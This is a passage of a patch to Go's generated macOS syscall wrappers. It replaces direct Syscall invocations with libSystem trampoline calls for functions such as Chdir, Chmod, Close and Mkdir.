-+//go:linkname libc_adjtime libc_adjtime
-+//go:cgo_import_dynamic libc_adjtime adjtime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chdir(path string) (err error) {
-@@ -439,13 +834,18 @@ func Chdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chdir_trampoline()
-+
-+//go:linkname libc_chdir libc_chdir
-+//go:cgo_import_dynamic libc_chdir chdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chflags(path string, flags int) (err error) {
-@@ -454,13 +854,18 @@ func Chflags(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chflags_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chflags_trampoline()
-+
-+//go:linkname libc_chflags libc_chflags
-+//go:cgo_import_dynamic libc_chflags chflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chmod(path string, mode uint32) (err error) {
-@@ -469,13 +874,18 @@ func Chmod(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chmod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chmod_trampoline()
-+
-+//go:linkname libc_chmod libc_chmod
-+//go:cgo_import_dynamic libc_chmod chmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chown(path string, uid int, gid int) (err error) {
-@@ -484,13 +894,18 @@ func Chown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_chown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chown_trampoline()
-+
-+//go:linkname libc_chown libc_chown
-+//go:cgo_import_dynamic libc_chown chown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chroot(path string) (err error) {
-@@ -499,27 +914,52 @@ func Chroot(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chroot_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chroot_trampoline()
-+
-+//go:linkname libc_chroot libc_chroot
-+//go:cgo_import_dynamic libc_chroot chroot "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ClockGettime(clockid int32, time *Timespec) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_clock_gettime_trampoline), uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_clock_gettime_trampoline()
-+
-+//go:linkname libc_clock_gettime libc_clock_gettime
-+//go:cgo_import_dynamic libc_clock_gettime clock_gettime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_close_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_close_trampoline()
-+
-+//go:linkname libc_close libc_close
-+//go:cgo_import_dynamic libc_close close "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_dup_trampoline), uintptr(fd), 0, 0)
- nfd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -527,16 +967,26 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+func libc_dup_trampoline()
-+
-+//go:linkname libc_dup libc_dup
-+//go:cgo_import_dynamic libc_dup dup "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_dup2_trampoline), uintptr(from), uintptr(to), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_dup2_trampoline()
-+
-+//go:linkname libc_dup2 libc_dup2
-+//go:cgo_import_dynamic libc_dup2 dup2 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exchangedata(path1 string, path2 string, options int) (err error) {
-@@ -550,20 +1000,30 @@ func Exchangedata(path1 string, path2 string, options int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ _, _, e1 := syscall_syscall(funcPC(libc_exchangedata_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_exchangedata_trampoline()
-+
-+//go:linkname libc_exchangedata libc_exchangedata
-+//go:cgo_import_dynamic libc_exchangedata exchangedata "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+ syscall_syscall(funcPC(libc_exit_trampoline), uintptr(code), 0, 0)
- return
- }
-
-+func libc_exit_trampoline()
-+
-+//go:linkname libc_exit libc_exit
-+//go:cgo_import_dynamic libc_exit exit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -572,43 +1032,63 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_faccessat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_faccessat_trampoline()
-+
-+//go:linkname libc_faccessat libc_faccessat
-+//go:cgo_import_dynamic libc_faccessat faccessat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchdir_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchdir_trampoline()
-+
-+//go:linkname libc_fchdir libc_fchdir
-+//go:cgo_import_dynamic libc_fchdir fchdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchflags_trampoline), uintptr(fd), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchflags_trampoline()
-+
-+//go:linkname libc_fchflags libc_fchflags
-+//go:cgo_import_dynamic libc_fchflags fchflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchmod_trampoline), uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmod_trampoline()
-+
-+//go:linkname libc_fchmod libc_fchmod
-+//go:cgo_import_dynamic libc_fchmod fchmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -617,23 +1097,33 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchmodat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmodat_trampoline()
-+
-+//go:linkname libc_fchmodat libc_fchmodat
-+//go:cgo_import_dynamic libc_fchmodat fchmodat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchown_trampoline), uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchown_trampoline()
-+
-+//go:linkname libc_fchown libc_fchown
-+//go:cgo_import_dynamic libc_fchown fchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-@@ -642,27 +1132,37 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchownat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchownat_trampoline()
-+
-+//go:linkname libc_fchownat libc_fchownat
-+//go:cgo_import_dynamic libc_fchownat fchownat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_flock_trampoline), uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_flock_trampoline()
-+
-+//go:linkname libc_flock libc_flock
-+//go:cgo_import_dynamic libc_flock flock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fpathconf_trampoline), uintptr(fd), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -670,99 +1170,97 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fpathconf_trampoline()
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fpathconf libc_fpathconf
-+//go:cgo_import_dynamic libc_fpathconf fpathconf "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fsync_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fsync_trampoline()
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fsync libc_fsync
-+//go:cgo_import_dynamic libc_fsync fsync "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_ftruncate_trampoline), uintptr(fd), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+func libc_ftruncate_trampoline()
-+
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_getdtablesize_trampoline), 0, 0, 0)
- size = int(r0)
- return
- }
-
-+func libc_getdtablesize_trampoline()
-+
-+//go:linkname libc_getdtablesize libc_getdtablesize
-+//go:cgo_import_dynamic libc_getdtablesize getdtablesize "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getegid_trampoline), 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+func libc_getegid_trampoline()
-+
-+//go:linkname libc_getegid libc_getegid
-+//go:cgo_import_dynamic libc_getegid getegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_geteuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_geteuid_trampoline()
-+
-+//go:linkname libc_geteuid libc_geteuid
-+//go:cgo_import_dynamic libc_geteuid geteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getgid_trampoline), 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+func libc_getgid_trampoline()
-+
-+//go:linkname libc_getgid libc_getgid
-+//go:cgo_import_dynamic libc_getgid getgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getpgid_trampoline), uintptr(pid), 0, 0)
- pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -770,34 +1268,54 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+func libc_getpgid_trampoline()
-+
-+//go:linkname libc_getpgid libc_getpgid
-+//go:cgo_import_dynamic libc_getpgid getpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpgrp_trampoline), 0, 0, 0)
- pgrp = int(r0)
- return
- }
-
-+func libc_getpgrp_trampoline()
-+
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpid_trampoline), 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+func libc_getpid_trampoline()
-+
-+//go:linkname libc_getpid libc_getpid
-+//go:cgo_import_dynamic libc_getpid getpid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getppid_trampoline), 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+func libc_getppid_trampoline()
-+
-+//go:linkname libc_getppid libc_getppid
-+//go:cgo_import_dynamic libc_getppid getppid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getpriority_trampoline), uintptr(which), uintptr(who), 0)
- prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -805,30 +1323,45 @@ func Getpriority(which int, who int) (prio int, err error) {
- return
- }
-
-+func libc_getpriority_trampoline()
-+
-+//go:linkname libc_getpriority libc_getpriority
-+//go:cgo_import_dynamic libc_getpriority getpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrlimit_trampoline()
-+
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrusage_trampoline), uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrusage_trampoline()
-+
-+//go:linkname libc_getrusage libc_getrusage
-+//go:cgo_import_dynamic libc_getrusage getrusage "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getsid_trampoline), uintptr(pid), 0, 0)
- sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -836,26 +1369,41 @@ func Getsid(pid int) (sid int, err error) {
- return
- }
-
-+func libc_getsid_trampoline()
-+
-+//go:linkname libc_getsid libc_getsid
-+//go:cgo_import_dynamic libc_getsid getsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_getuid_trampoline()
-+
-+//go:linkname libc_getuid libc_getuid
-+//go:cgo_import_dynamic libc_getuid getuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_issetugid_trampoline), 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
-+func libc_issetugid_trampoline()
-+
-+//go:linkname libc_issetugid libc_issetugid
-+//go:cgo_import_dynamic libc_issetugid issetugid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_kqueue_trampoline), 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -863,6 +1411,11 @@ func Kqueue() (fd int, err error) {
- return
- }
-
-+func libc_kqueue_trampoline()
-+
-+//go:linkname libc_kqueue libc_kqueue
-+//go:cgo_import_dynamic libc_kqueue kqueue "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Lchown(path string, uid int, gid int) (err error) {
-@@ -871,13 +1424,18 @@ func Lchown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_lchown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_lchown_trampoline()
-+
-+//go:linkname libc_lchown libc_lchown
-+//go:cgo_import_dynamic libc_lchown lchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Link(path string, link string) (err error) {
-@@ -891,13 +1449,18 @@ func Link(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_link_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_link_trampoline()
-+
-+//go:linkname libc_link libc_link
-+//go:cgo_import_dynamic libc_link link "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-@@ -911,37 +1474,32 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_linkat_trampoline), uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_linkat_trampoline()
-+
-+//go:linkname libc_linkat libc_linkat
-+//go:cgo_import_dynamic libc_linkat linkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_listen_trampoline), uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_listen_trampoline()
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_listen libc_listen
-+//go:cgo_import_dynamic libc_listen listen "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -951,13 +1509,18 @@ func Mkdir(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdir_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdir_trampoline()
-+
-+//go:linkname libc_mkdir libc_mkdir
-+//go:cgo_import_dynamic libc_mkdir mkdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-@@ -966,13 +1529,18 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdirat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdirat_trampoline()
-+
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkfifo(path string, mode uint32) (err error) {
-@@ -981,13 +1549,18 @@ func Mkfifo(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
